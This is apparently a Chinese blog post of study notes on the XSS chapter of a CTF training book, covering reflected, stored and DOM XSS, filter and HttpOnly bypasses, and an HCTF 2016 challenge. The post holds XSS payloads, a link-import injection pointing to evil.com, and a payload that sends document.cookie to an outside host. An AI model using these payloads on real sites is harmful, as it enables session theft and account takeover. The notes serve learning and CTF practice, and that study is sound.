欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

《CTF特训营》web部分读书笔记(二)跨站脚本攻击(XSS)

程序员文章站 2022-03-16 20:08:10
继续阅读《CTF特训营》web部分,本节是XSS...

前言

继续阅读《CTF特训营》web部分
本节是XSS

1、简介

XSS是一种代码注入漏洞
在网页中注入恶意代码
被攻击者在加载网页时受到攻击

反射型XSS

代码作为客户端输入提交给服务端
在相应内容里返回并由浏览器执行

例子

<?php echo 'your input'.$_GET['input'];?>

攻击者

http://xxx.com/xss.php?input=<script>alert(/xss/)</script>

浏览器会执行alert(/xss/)

存储型XSS

代码会存储在服务端

  • 留言板
  • 聊天室
  • 邮件

DOM XSS

不需要服务端解析
出发XSS的是DOM解析

例子

<html>
<head>
	<title>DOM</title>
	<meta charset="utf-8">
</head>
<body>
	<div id="area"></div>
	<script>
		document.getElementByld("area").innerHTML=unescape(location.hash);
</body>
</html>	

客户端的JavaScript代码将location.hash动态的赋予document.getElementByld(“area”).innerHTML

攻击者

http://xxx.com/dom.html#<img src=x οnerrοr='alert(/xss/)'>

输出在html标签

例子

<input name="user" value="{{your input}}"/>

攻击者

" οnclick="alert(/xss/)

输出在css代码中

例子

<style type="text/css">
body{
	color:{{your input}};
}
</style>

攻击者

#000;background-image:url('javascript:alert(/xss/)')

输出在JavaScript代码中

例子

<script>
	var name='{{your input}}';
</script>

攻击者

'+alert(/xss/)+'

2、防护与绕过

特定标签过滤

任何一种标签都可以构造xss代码
可参考:http://html5sec.org/

事件过滤

测试时可用burp进行fuzz
遍历可利用的事件

关键词过滤

一些可用方法

  • 字符串拼接
  • base64编码
  • 不同进制编码
  • url编码

一个好用的编码工具XSSEE

.(){空格}的过滤,绕过方案依次如下

with(document)alert(cookie);
window.onerror=alert;throw 1;
%0a

字符集编码导致的绕过

字符集编码存在问题时会导致一些绕过

长度限制

有长度限制时,善用

  • window.name
  • location
  • 第三方库

httponly绕过

  • apache2.2.0-2.2.21有个漏洞CVE-2012-0053
    可以植入超大cookie使得http头超过最大请求长度4192字节
    返回400错误,包含httponly保护的cookie

  • phpinfo页面有cookie

XSS auditor绕过

日语字符集绕过

<meta charset="ISO-2022-JP"><img src="#" onerror%1B28B=alert(1)/>

对https协议的错误理解绕过

http://xxx.com/xss.php?input=1><link%20rel="import"%20href=https:evil.com/1.php

3、危害与利用技巧

  • 窃取cookie,伪造用户身份
  • 与DOM对象交互,执行用户所有可执行操作
  • 获取源码
  • 发起http请求
  • 获取地理位置
  • 使用webRTC API获取网络信息
  • 对内网扫描并攻击

4、实例

HCTF 2016中的题目guestbook
过滤代码
《CTF特训营》web部分读书笔记(二)跨站脚本攻击(XSS)
CSP规则(开启了unsafe-inline)
《CTF特训营》web部分读书笔记(二)跨站脚本攻击(XSS)
需要做到的事

  • 绕过过滤:复写即可
  • 绕过CSP

payload

<scrscriptipt>locatioonn.href="http://eval.com/xss/cookie.php?cookie="+escape(document.cookie);</scrscriptipt>

结语

了解了XSS相关知识和绕过方式

一个可以拿来参考和学习的平台:BeEF

本文地址:https://blog.csdn.net/weixin_44604541/article/details/107605890

相关标签: ctf xss web